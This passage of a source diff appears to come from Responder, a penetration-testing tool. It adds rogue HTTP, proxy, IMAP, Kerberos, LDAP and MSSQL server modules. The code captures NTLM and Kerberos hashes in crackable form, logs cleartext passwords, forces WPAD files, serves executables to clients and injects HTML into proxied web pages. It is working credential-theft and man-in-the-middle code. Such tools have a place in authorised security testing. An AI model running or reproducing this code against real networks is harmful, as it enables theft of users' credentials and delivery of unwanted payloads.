|
||||
if settings.Config.Exe_On_Off == True and re.findall('.exe', data):
|
||||
Buffer = ServerExeFile(Payload = ServeEXE(data,client,settings.Config.HtmlFilename),filename=settings.Config.HtmlFilename)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
if settings.Config.Exec_Mode_On_Off == True:
|
||||
if settings.Config.Exe_Filename.endswith('.exe'):
|
||||
Buffer = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
else:
|
||||
Buffer = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename))
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
|
||||
if Packet_NTLM == "\x01":
|
||||
GrabURL(data, client)
|
||||
GrabHost(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
|
||||
Buffer.calculate()
|
||||
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
||||
Buffer_Ans.calculate(str(Buffer))
|
||||
|
||||
return str(Buffer_Ans)
|
||||
|
||||
if Packet_NTLM == "\x03":
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
ParseHTTPHash(NTLM_Auth, client)
|
||||
WPAD_Custom = WpadCustom(data, client)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
if Basic_Auth:
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
||||
GrabURL(data, client)
|
||||
GrabHost(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
WPAD_Custom = WpadCustom(data,client)
|
||||
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-Clear-Text-Password-%s.txt" % client)
|
||||
|
||||
if PrintData(outfile, ClearText_Auth):
|
||||
print text("[HTTP] (Basic) Client : %s" % client)
|
||||
print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0])
|
||||
print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1])
|
||||
WriteData(outfile, ClearText_Auth, ClearText_Auth)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client, 3, 0)
|
||||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
else:
|
||||
Response = IIS_Basic_401_Ans() if settings.Config.Basic == True else IIS_Auth_401_Ans()
|
||||
return str(Response)
|
||||
|
||||
# HTTP Server class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
Buffer = WpadCustom(data, self.client_address[0])
|
||||
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.request.send(Buffer)
|
||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(Buffer)
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
# HTTPS Server class
|
||||
class HTTPS(StreamRequestHandler):
|
||||
def setup(self):
|
||||
self.exchange = self.request
|
||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.exchange.recv(8092)
|
||||
self.exchange.settimeout(0.5)
|
||||
Buffer = WpadCustom(data,self.client_address[0])
|
||||
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.exchange.send(Buffer)
|
||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
self.exchange.send(Buffer)
|
||||
except:
|
||||
pass
|
||||
|
||||
# SSL context handler
|
||||
class SSLSock(ThreadingMixIn, TCPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
from OpenSSL import SSL
|
||||
|
||||
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
||||
ctx = SSL.Context(SSL.SSLv3_METHOD)
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
ctx.use_privatekey_file(key)
|
||||
ctx.use_certificate_file(cert)
|
||||
|
||||
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
||||
self.server_bind()
|
||||
self.server_activate()
|
||||
|
||||
def shutdown_request(self,request):
|
||||
try:
|
||||
request.shutdown()
|
||||
except:
|
||||
pass
|
333
servers/HTTP_Proxy.py
Normal file
333
servers/HTTP_Proxy.py
Normal file
|
@ -0,0 +1,333 @@
|
|||
import os
|
||||
import settings
|
||||
import urlparse
|
||||
import select
|
||||
import zlib
|
||||
import BaseHTTPServer
|
||||
|
||||
from utils import *
|
||||
|
||||
def HandleGzip(Headers, Content, Payload):
|
||||
if len(Content) > 5:
|
||||
try:
|
||||
unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
||||
except:
|
||||
return False
|
||||
|
||||
InjectPayload = Payload
|
||||
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasBody = re.findall('(?<=<body)[^<]*', unziped)
|
||||
|
||||
if HasBody:
|
||||
print text("[PROXY] Injecting into HTTP Response : %s" % color(settings.Config.HTMLToServe, 3, 1))
|
||||
|
||||
Content = unziped.replace("<body", settings.Config.HTMLToServe +"\n<body")
|
||||
ziped = zlib.compress(Content)
|
||||
FinalLen = str(len(ziped))
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
|
||||
return Headers+'\r\n\r\n'+ziped
|
||||
|
||||
return False
|
||||
|
||||
def InjectPage(data, client):
|
||||
if settings.Config.Exec_Mode_On_Off:
|
||||
if settings.Config.Exe_Filename.endswith('.exe'):
|
||||
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
return data
|
||||
|
||||
def InjectData(data):
|
||||
if len(data.split('\r\n\r\n')) > 1:
|
||||
try:
|
||||
Headers, Content = data.split('\r\n\r\n')
|
||||
except:
|
||||
return data
|
||||
|
||||
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
|
||||
|
||||
if [s for s in RedirectCodes if s in Headers]:
|
||||
return data
|
||||
|
||||
if "content-encoding: gzip" in Headers.lower():
|
||||
|
||||
Gzip = HandleGzip(Headers, Content, settings.Config.HTMLToServe)
|
||||
return Gzip if Gzip else data
|
||||
|
||||
if "content-type: text/html" in Headers.lower():
|
||||
|
||||
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasBody = re.findall('(?<=<body)[^<]*', Content)
|
||||
|
||||
if HasBody:
|
||||
print text("[PROXY] Injecting into HTTP Response : %s" % color(settings.Config.HTMLToServe, 3, 1))
|
||||
|
||||
NewContent = Content.replace("<body", settings.Config.HTMLToServe +"\n<body")
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(NewContent)))
|
||||
|
||||
return Headers+'\r\n\r\n'+NewContent
|
||||
|
||||
return data
|
||||
|
||||
class ProxySock:
|
||||
|
||||
def __init__(self, socket, proxy_host, proxy_port) :
|
||||
|
||||
# First, use the socket, without any change
|
||||
self.socket = socket
|
||||
|
||||
# Create socket (use real one)
|
||||
self.proxy_host = proxy_host
|
||||
self.proxy_port = proxy_port
|
||||
|
||||
# Copy attributes
|
||||
self.family = socket.family
|
||||
self.type = socket.type
|
||||
self.proto = socket.proto
|
||||
|
||||
def connect(self, address) :
|
||||
|
||||
# Store the real remote adress
|
||||
(self.host, self.port) = address
|
||||
|
||||
# Try to connect to the proxy
|
||||
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
|
||||
self.proxy_host,
|
||||
self.proxy_port,
|
||||
0, 0, socket.SOL_TCP) :
|
||||
try:
|
||||
|
||||
# Replace the socket by a connection to the proxy
|
||||
self.socket = socket.socket(family, socktype, proto)
|
||||
self.socket.connect(sockaddr)
|
||||
|
||||
except socket.error, msg:
|
||||
if self.socket:
|
||||
self.socket.close()
|
||||
self.socket = None
|
||||
continue
|
||||
break
|
||||
if not self.socket :
|
||||
raise socket.error, ms
|
||||
|
||||
# Ask him to create a tunnel connection to the target host/port
|
||||
self.socket.send(
|
||||
("CONNECT %s:%d HTTP/1.1\r\n" +
|
||||
"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port));
|
||||
|
||||
# Get the response
|
||||
resp = self.socket.recv(4096)
|
||||
|
||||
# Parse the response
|
||||
parts = resp.split()
|
||||
|
||||
# Not 200 ?
|
||||
if parts[1] != "200" :
|
||||
raise Exception("Error response from Proxy server : %s" % resp)
|
||||
|
||||
# Wrap all methods of inner socket, without any change
|
||||
def accept(self) :
|
||||
return self.socket.accept()
|
||||
|
||||
def bind(self, *args) :
|
||||
return self.socket.bind(*args)
|
||||
|
||||
def close(self) :
|
||||
return self.socket.close()
|
||||
|
||||
def fileno(self) :
|
||||
return self.socket.fileno()
|
||||
|
||||
def getsockname(self) :
|
||||
return self.socket.getsockname()
|
||||
|
||||
def getsockopt(self, *args) :
|
||||
return self.socket.getsockopt(*args)
|
||||
|
||||
def listen(self, *args) :
|
||||
return self.socket.listen(*args)
|
||||
|
||||
def makefile(self, *args) :
|
||||
return self.socket.makefile(*args)
|
||||
|
||||
def recv(self, *args) :
|
||||
return self.socket.recv(*args)
|
||||
|
||||
def recvfrom(self, *args) :
|
||||
return self.socket.recvfrom(*args)
|
||||
|
||||
def recvfrom_into(self, *args) :
|
||||
return self.socket.recvfrom_into(*args)
|
||||
|
||||
def recv_into(self, *args) :
|
||||
return self.socket.recv_into(buffer, *args)
|
||||
|
||||
def send(self, *args) :
|
||||
return self.socket.send(*args)
|
||||
|
||||
def sendall(self, *args) :
|
||||
return self.socket.sendall(*args)
|
||||
|
||||
def sendto(self, *args) :
|
||||
return self.socket.sendto(*args)
|
||||
|
||||
def setblocking(self, *args) :
|
||||
return self.socket.setblocking(*args)
|
||||
|
||||
def settimeout(self, *args) :
|
||||
return self.socket.settimeout(*args)
|
||||
|
||||
def gettimeout(self) :
|
||||
return self.socket.gettimeout()
|
||||
|
||||
def setsockopt(self, *args):
|
||||
return self.socket.setsockopt(*args)
|
||||
|
||||
def shutdown(self, *args):
|
||||
return self.socket.shutdown(*args)
|
||||
|
||||
# Return the (host, port) of the actual target, not the proxy gateway
|
||||
def getpeername(self) :
|
||||
return (self.host, self.port)
|
||||
|
||||
# Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
|
||||
class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
__base = BaseHTTPServer.BaseHTTPRequestHandler
|
||||
__base_handle = __base.handle
|
||||
|
||||
rbufsize = 0
|
||||
|
||||
def handle(self):
|
||||
(ip, port) = self.client_address
|
||||
self.__base_handle()
|
||||
|
||||
def _connect_to(self, netloc, soc):
|
||||
i = netloc.find(':')
|
||||
if i >= 0:
|
||||
host_port = netloc[:i], int(netloc[i+1:])
|
||||
else:
|
||||
host_port = netloc, 80
|
||||
try: soc.connect(host_port)
|
||||
except socket.error, arg:
|
||||
try: msg = arg[1]
|
||||
except: msg = arg
|
||||
self.send_error(404, msg)
|
||||
return 0
|
||||
return 1
|
||||
|
||||
def socket_proxy(self):
|
||||
Proxy = settings.Config.Upstream_Proxy
|
||||
Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '')
|
||||
Proxy = Proxy.split(':')
|
||||
|
||||
try: Proxy = (Proxy[0], int(Proxy[1]))
|
||||
except: Proxy = (Proxy[0], 8080)
|
||||
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
return ProxySock(soc, Proxy[0], Proxy[1])
|
||||
|
||||
def do_CONNECT(self):
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
soc = self.socket_proxy()
|
||||
else:
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
if self._connect_to(self.path, soc):
|
||||
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
|
||||
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
|
||||
self.wfile.write("\r\n")
|
||||
try:
|
||||
self._read_write(soc, 300)
|
||||
except:
|
||||
pass
|
||||
finally:
|
||||
soc.close()
|
||||
self.connection.close()
|
||||
|
||||
def do_GET(self):
|
||||
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http')
|
||||
|
||||
if scm not in ('http') or fragment or not netloc:
|
||||
self.send_error(400, "bad url %s" % self.path)
|
||||
return
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
soc = self.socket_proxy()
|
||||
else:
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
|
||||
|
||||
if self._connect_to(netloc, soc):
|
||||
soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version))
|
||||
|
||||
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
||||
|
||||
print text("[PROXY] Client : %s" % color(self.client_address[0], 3, 0))
|
||||
print text("[PROXY] Requested URL : %s" % color(self.path, 3, 0))
|
||||
print text("[PROXY] Cookie : %s" % Cookie)
|
||||
|
||||
self.headers['Connection'] = 'close'
|
||||
del self.headers['Proxy-Connection']
|
||||
|
||||
for key_val in self.headers.items():
|
||||
soc.send("%s: %s\r\n" % key_val)
|
||||
soc.send("\r\n")
|
||||
|
||||
try: self._read_write(soc, netloc)
|
||||
except: pass
|
||||
|
||||
finally:
|
||||
soc.close()
|
||||
self.connection.close()
|
||||
|
||||
def _read_write(self, soc, netloc='', max_idling=30):
|
||||
iw = [self.connection, soc]
|
||||
ow = []
|
||||
count = 0
|
||||
while 1:
|
||||
count += 1
|
||||
(ins, _, exs) = select.select(iw, ow, iw, 1)
|
||||
if exs:
|
||||
break
|
||||
if ins:
|
||||
for i in ins:
|
||||
if i is soc:
|
||||
out = self.connection
|
||||
try:
|
||||
data = i.recv(8192)
|
||||
if len(settings.Config.HTMLToServe)>5:
|
||||
data = InjectData(data)
|
||||
else:
|
||||
data = InjectPage(data,self.client_address[0])
|
||||
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
out = soc
|
||||
data = i.recv(8192)
|
||||
if self.command == "POST":
|
||||
print text("[PROXY] POST Data : %s" % data)
|
||||
if data:
|
||||
try:
|
||||
out.send(data)
|
||||
count = 0
|
||||
except:
|
||||
pass
|
||||
if count == max_idling:
|
||||
break
|
||||
return None
|
||||
|
||||
|
||||
do_HEAD = do_GET
|
||||
do_POST = do_GET
|
||||
do_PUT = do_GET
|
||||
do_DELETE=do_GET
|
35
servers/IMAP.py
Normal file
35
servers/IMAP.py
Normal file
|
@ -0,0 +1,35 @@
|
|||
import os
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
# IMAP4 Server class
|
||||
class IMAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(IMAPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[5:15] == "CAPABILITY":
|
||||
RequestTag = data[0:4]
|
||||
self.request.send(str(IMAPCapability()))
|
||||
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[5:10] == "LOGIN":
|
||||
Credentials = data[10:].strip()
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "IMAP-Clear-Text-Password-%s.txt" % self.client_address[0])
|
||||
WriteData(Outfile, Credentials, Credentials)
|
||||
|
||||
print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0))
|
||||
print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0))
|
||||
print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0))
|
||||
|
||||
## FIXME: Close connection properly
|
||||
## self.request.send(str(ditchthisconnection()))
|
||||
## data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass
|
131
servers/Kerberos.py
Normal file
131
servers/Kerberos.py
Normal file
|
@ -0,0 +1,131 @@
|
|||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
|
||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
|
||||
print text("[KERBEROS] Address :" % self.client_address[0])
|
||||
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
|
||||
WriteData(Outfile, KerbHash, KerbHash)
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
|
||||
print text("[KERBEROS] Address :" % self.client_address[0])
|
||||
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
|
||||
WriteData(Outfile, KerbHash, KerbHash)
|
||||
|
||||
except Exception:
|
||||
raise
|
118
servers/LDAP.py
Normal file
118
servers/LDAP.py
Normal file
|
@ -0,0 +1,118 @@
|
|||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from utils import *
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
||||
|
||||
if Search1:
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
if Search2:
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if Search3:
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
|
||||
def ParseLDAPHash(data, client):
|
||||
SSPIStart = data[42:]
|
||||
LMhashLen = struct.unpack('<H',data[54:56])[0]
|
||||
|
||||
if LMhashLen > 10:
|
||||
LMhashOffset = struct.unpack('<H',data[58:60])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
NthashLen = struct.unpack('<H',data[64:66])[0]
|
||||
NthashOffset = struct.unpack('<H',data[66:68])[0]
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
DomainLen = struct.unpack('<H',data[72:74])[0]
|
||||
DomainOffset = struct.unpack('<H',data[74:76])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
|
||||
UserLen = struct.unpack('<H',data[80:82])[0]
|
||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
||||
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "LDAP-NTLMv1-%s.txt" % client)
|
||||
|
||||
print text("[LDAP] NTLMv1 Address : %s" % client)
|
||||
print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
|
||||
print text("[LDAP] NTLMv1 Hash : %s" % NtHash)
|
||||
WriteData(Outfile, WriteHash, User+"::"+Domain)
|
||||
|
||||
if LMhashLen < 2 :
|
||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
||||
|
||||
if Search1:
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
|
||||
if Search2:
|
||||
ParseLDAPHash(data,client)
|
||||
|
||||
def ParseLDAPPacket(data, client):
|
||||
if data[1:2] == '\x84':
|
||||
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
||||
if Operation == "\x60":
|
||||
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
||||
if AuthHeaderType == "\x80":
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
|
||||
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "LDAP-Clear-Text-Password-%s.txt" % client)
|
||||
WritePass = 'LDAP: %s: %s:%s' % (client, UserDomain, Password)
|
||||
|
||||
if PrintData(outfile, WritePass):
|
||||
print text("[LDAP] Client : %s" % color(client, 3, 0))
|
||||
print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
|
||||
print text("[LDAP] Password : %s" % color(Password, 3, 0))
|
||||
|
||||
WriteData(outfile, WritePass, WritePass)
|
||||
|
||||
if sasl == "\xA3":
|
||||
Buffer = ParseNTLM(data,client)
|
||||
return Buffer
|
||||
|
||||
elif Operation == "\x63":
|
||||
Buffer = ParseSearch(data)
|
||||
return Buffer
|
||||
|
||||
else:
|
||||
print '[LDAP]Operation not supported'
|
||||
|
||||
# LDAP Server class
|
||||
class LDAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(8092)
|
||||
Buffer = ParseLDAPPacket(data,self.client_address[0])
|
||||
|
||||
if Buffer:
|
||||
self.request.send(Buffer)
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
139
servers/MSSQL.py
Normal file
139
servers/MSSQL.py
Normal file
|
@ -0,0 +1,139 @@
|
|||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||
from utils import *
|
||||
|
||||
class TDS_Login_Packet():
|
||||
def __init__(self, data):
|
||||
|
||||
ClientNameOff = struct.unpack('<h', data[44:46])[0]
|
||||
ClientNameLen = struct.unpack('<h', data[46:48])[0]
|
||||
UserNameOff = struct.unpack('<h', data[48:50])[0]
|
||||
UserNameLen = struct.unpack('<h', data[50:52])[0]
|
||||
